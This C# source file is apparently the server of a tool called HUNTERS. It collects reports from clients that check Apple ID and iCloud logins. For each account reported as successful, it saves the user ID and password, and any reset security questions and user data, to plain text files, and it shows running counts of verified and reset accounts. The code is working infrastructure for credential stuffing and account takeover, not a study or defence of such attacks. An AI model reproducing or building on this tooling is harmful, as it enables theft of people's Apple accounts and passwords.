﻿using HUNTERS.HELPERS;
using HUNTERS.SERVER.Models;
using log4net;
using MetroFramework.Forms;
using Newtonsoft.Json;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;

namespace HUNTERS.SERVER
{
    public partial class Main : MetroForm
    {
        private static readonly ILog logger = LogManager.GetLogger(System.Reflection.MethodBase.GetCurrentMethod().DeclaringType);
        private List<Upload> uploads = new List<Upload>();
        private Server server;
        private object lockObj = new object();

        #region 控件事件
        public Main()
        {
            server = new Server();
            InitializeComponent();
        }

        private void Main_Load(object sender, EventArgs e)
        {
            server.StartServer(Properties.Settings.Default.PORT);
            Server.OnEvent += OnMessageEventArgs;
            SetStatusLabel("SERVER STARTED...   -   UDP PORT : [" + Properties.Settings.Default.PORT + "]");

            Lab_Result.BeginInvoke(new Action(() =>
            {
                Lab_Result.Text = string.Format("AppleID => 验证成功 {0} 个 ，重置密保 {1} 个    iCloud => 验证成功 {2} 个", 0, 0, 0);
            }));

            UpdateStatus();
        }
        #endregion

        #region 消息委托
        private void OnMessageEventArgs(Server sender, MessageEventArgs e)
        {
            try
            {
                new Task(() =>
                {
                    Upload upload = JsonConvert.DeserializeObject<Upload>(e.Message);

                    if (upload.FromClinet == FromClinet.HUNTERS)
                    {
                        if (upload.Status == Status.LoginSuccess)
                        {
                            LogsHelpers.WriteResult("Apple验证成功.txt", upload.UserInfo.UserID + "----" + upload.UserInfo.Passwd);
                        }
                        if (upload.Status == Status.ResetQuestionsSuccess)
                        {
                            LogsHelpers.WriteResult("重置密保.txt", upload.UserInfo.UserID + "----" + upload.UserInfo.Passwd + "----" + JsonConvert.SerializeObject(upload.ResetQuestions));
                        }
                        if (upload.Status == Status.GetUserInfoSuccess)
                        {
                            LogsHelpers.WriteResult("用户信息.txt", upload.UserInfo.UserID + "----" + upload.UserInfo.Passwd + "----" + JsonConvert.SerializeObject(upload.ResetQuestions) + "----" + upload.data);
                        }
                    }

                    if (upload.FromClinet == FromClinet.ICLOUD)
                    {
                        if (upload.Status == Status.LoginSuccess)
                        {
                            LogsHelpers.WriteResult("iCloud验证成功.txt", upload.UserInfo.UserID + "----" + upload.UserInfo.Passwd);
                        }
                    }

                    lock (lockObj)
                    {
                        uploads.Add(upload);
                    }

                    LogWrite(Loglevel.Info, e.Message);

                }).Start();
            }
            catch (Exception ex)
            {
                LogWrite(Loglevel.Error, ex.Message);
            }

        }

        public void SetStatusLabel(string text)
        {
            toolStripStatusLabel1.Text = "-> " + text;
        }

        /// <summary>
        /// 刷新界面
        /// </summary>
        private void UpdateStatus()
        {
            try
            {
                new Task(async () =>
                {
                    while (true)
                    {
                        lock (lockObj)
                        {
                            if (uploads.Count > 0)
                            {
                                int loginSuccessCount = uploads.Where(m => m.Status == Status.LoginSuccess && m.FromClinet == FromClinet.HUNTERS).ToList().Count;
                                int resetSuccessCount = uploads.Where(m => m.Status == Status.ResetQuestionsSuccess && m.FromClinet == FromClinet.HUNTERS).ToList().Count;
                                int iCloudSuccessCount = uploads.Where(m => m.Status == Status.LoginSuccess && m.FromClinet == FromClinet.ICLOUD).ToList().Count;

                                Lab_Result.BeginInvoke(new Action(() =>
                                {
                                    Lab_Result.Text = string.Format("AppleID => 验证成功 {0} 个 ，重置密保 {1} 个    iCloud => 验证成功 {2} 个", loginSuccessCount, resetSuccessCount, iCloudSuccessCount);
                                }));
                            }
                        }

                        await Task.Delay(1000);
                    }

                }).Start();
            }
            catch (Exception ex)
            {
                LogWrite(Loglevel.Error, ex.Message);
            }
        }
        #endregion

        #region 写日志类
        public void LogWrite(Loglevel level, string msg)
        {
            switch (level)
            {
                case Loglevel.Info:
                    logger.Info(msg);
                    break;
                case Loglevel.Error:
                    logger.Error(msg);
                    break;
                case Loglevel.Debug:
                    logger.Debug(msg);
                    break;
            }
        }

        public enum Loglevel
        {
            Info,
            Error,
            Debug
        }

        #endregion

        private void Main_FormClosing(object sender, System.Windows.Forms.FormClosingEventArgs e)
        {
            server.StopServer();
        }
    }
}
